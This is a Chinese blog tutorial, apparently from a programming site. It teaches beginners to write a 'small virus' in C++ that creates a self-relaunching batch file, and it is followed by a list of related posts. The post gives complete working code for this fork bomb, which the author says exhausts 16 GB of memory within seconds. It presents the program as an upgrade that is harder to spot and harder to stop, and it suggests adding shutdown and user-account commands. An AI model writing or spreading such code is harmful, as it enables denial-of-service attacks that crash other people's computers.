相信大家都玩过这样的一个批处理代码吧

:1
start cmd
goto 1

把这些代码复制去一个txt文件,然后更改后缀为.bat 或.cmd,就可以实现弹窗炸弹

但是,作为一个病毒,这个简单恶搞代码有着致命缺陷

1.可以直接改后缀轻松识破,很难掩藏

2.杀伤力不足,可以手动“关闭全部窗口”轻松杀死

于是,我想了个简单方法来处理这两个问题

1.system函数

知周所众,C++中有一个很方便的函数就做system(),可以调用控制台命令

需要头文件stdlib.h

#include<bits/stdc++.h> // 其实万能头文件里包含了stdlib.h
#include<stdlib.h>//但是还是写一遍
using namespace std;
int main(){system("   ");
}

2.freopen

文件读写操作,可以用它生成一个out文件

freopen("11.out","w",stdout);

其中11.out是文件名,w的意思是写入,stdout是标准输出流,你cout的东西就会被输出到11.out中

然后再输入代码

cout << "   ";

fclose关闭文件

fclose(stdout);

ren命令改变文件名

system("ren 11.out 11.bat");

然后,重点来了

2.核心

小病毒的核心就是使用C++生成一个bat文件(因为bat文件打开速度贼快,可以高速卡内存)然后里面写一个循环,并且不断自我调用(有点递归的感觉了lol)

cout << ":1\nstart 11.bat\ngoto 1"

(\n:换行)

相比开头的小代码,看上去有点多次一举是吧?

但是,这个内核生成窗口(弹窗轰炸)的速度是指数级增长的,因为它开启的文件会继续打开自己,同时它本身也在不断开启自己

本人实测,16gb的内存条几秒钟就可以卡掉

最后,上完整版代码

#include<bits/stdc++.h>
using namespace std;
int main(){freopen("11.out","w",stdout);cout << ":1 \n start 11.bat \n goto 1";fclose(stdout);system("ren 11.out 11.bat");system("start 11.bat");
}

学完这些后,你还可以自自行发挥批处理知识写一写其它的东西,什么shutdown啊netuser啊,这里不作赘述

后来我才知道可以直接文件读写进bat,但是不想改了

用C++写一个简单小病毒(零基础奶妈级教学,不可能学完还不懂)相关推荐

  1. python写的篮球文字游戏_python制作一个简单的文字游戏——零基础学python 004

    前言: 之前我们简单的学习了一些函数,所谓学以致用.那么我们看看用这几个函数能够做出怎么样的文字游戏? 游戏的思路很简单,要求输入一个程序已经设置好的数字,猜中了返回一句话话,猜错了返回一句话:然而只 ...

  2. 如何写一个脚本语言_零基础小白如何学会写文案?文案写作技巧之一:如何写一个吸引读者的文案开头...

    我文笔不好怎样才能够写出优质的文案?很多人都有这个疑问,包括我自己在学习新媒体运营之前,这也是我最大的困惑.现在是内容为王的时代,你的文章质量决定了你的KPI. 后来我学习了文章的写作结构和技巧后,就 ...

  3. python制作一个简单的文字游戏——零基础学python 004

    前言: 之前我们简单的学习了一些函数,所谓学以致用.那么我们看看用这几个函数能够做出怎么样的文字游戏? 游戏的思路很简单,要求输入一个程序已经设置好的数字,猜中了返回一句话话,猜错了返回一句话:然而只 ...

  4. 如何写一个简单的病毒程序

    引:前些天学病毒这门技术着实吃了很多苦头,走了很多弯路,尽管按我的知识水平,病毒已经是水到渠成的学习内容了.但是我现在学了入门才发现这门技术实际 上隐藏着很多玄机,包含着许多技术,不专门学习研究根本无 ...

  5. java简单课程设计_!高分跪求帮忙写一个简单小程序的JAVA课程设计报告(内详!!)...

    展开全部 连连看java源代码 import javax.swing.*; import java.awt.*; import java.awt.event.*; public class lianl ...

  6. python可以做机器人吗_零基础如何用Python写一个简单的WeChat机器人?(内附代码)...

    (bing图片) python这两年热火朝天,依托其众多类库,基于python的应用层出不穷,也大大降低了非计算机专业人员的入门门槛,WeChat机器人自然不在话下!-- 聪明的瓦肯人 苦于有时候总是 ...

  7. c语言写一个简单的小游戏-推箱子

    在学习C语言之后,写了一个简单的小游戏来锻炼自己的代码以及C语言知识的掌握能力. 推箱子作为手机上最常见的简单游戏,其代码也相对简单,想法也比较简单,下面为其代码和运行图. /************ ...

  8. 使用Qt写一个简单的五子棋单机小游戏

    使用Qt写一个简单的五子棋单机小游戏 刚学,不够专业请勿喷,有不对的地方还请指出,我渴望进步!现在贴出这个游戏我原创的所有代码.希望可以帮到有需要的人. 游戏界面: 因为后面添加了.wav的音频文件, ...

  9. 一个简单的c 游戏编程语言,编程达人 c语言写一个简单的小游戏-推箱子

    在学习C语言之后,写了一个简单的小游戏来锻炼自己的代码以及C语言知识的掌握能力. 推箱子作为手机上最常见的简单游戏,其代码也相对简单,想法也比较简单,下面为其代码和运行图. /************ ...

最新文章

  1. “四非”高校南京工业大学,17天内三连击Nature、Science!实为深藏不露
  2. [mybatis]Configuration XML_typeHandlers
  3. [AtCoder Beginner Contest 216] 题解
  4. centos php日志分析,记录一下CentOS7安装GoAccess日志分析工具
  5. java 找不到或无法加载类_解决Java中找不到或无法加载主类错误
  6. [转]我对CTO的理解
  7. C# vs MySql
  8. 入门-什么是webshell?
  9. 如何代理物联卡?需要什么流程认证?
  10. 三大杀毒软件存严重漏洞,杀软可变黑客工具
  11. java链表打印_java链表打印
  12. 10个好用的免费图片网站,绝对能在2021年设计上好帮手
  13. 【武汉加油!中国加油!】挑战七天 实现机器视觉检测有没有戴口罩系统——第四五六七天
  14. 基于python的数字图像处理--学习笔记(二)
  15. SIM800C错误小结
  16. Win10不进行操作很快自动睡眠、休眠的解决方法
  17. 【Kernel】驱动开发学习之Platform平台总线模型
  18. PyQt(Python+Qt)学习随笔:Qt Designer中部件的调色板palette属性和字体font属性设置
  19. _getch() 和 getch() 及 _T()
  20. Facebook也要玩智能眼镜

热门文章

  1. 微软声学回声消除demo AECMicArray的使用
  2. C语言程序设计入门——水仙花数
  3. 中兴通讯携手CLAA合作伙伴,开创共享共建物联网新时代
  4. 临床执业助理医师(综合练习)题库【4】
  5. 现代大学英语精读第二版(第四册)学习笔记(原文及全文翻译)——16B - Is Everybody Happy?(人人都幸福吗?)
  6. 基于SIR的社交网络谣言传播问题简单建模
  7. Wordcount()--ASP字数计算函数
  8. 卡梅 计算机生物专业怎么样,【智友学子】X同学----卡耐基梅隆大学 计算生物学...
  9. starrocker关联hive外表
  10. Python Turtle 小项目 8 各种音符的绘制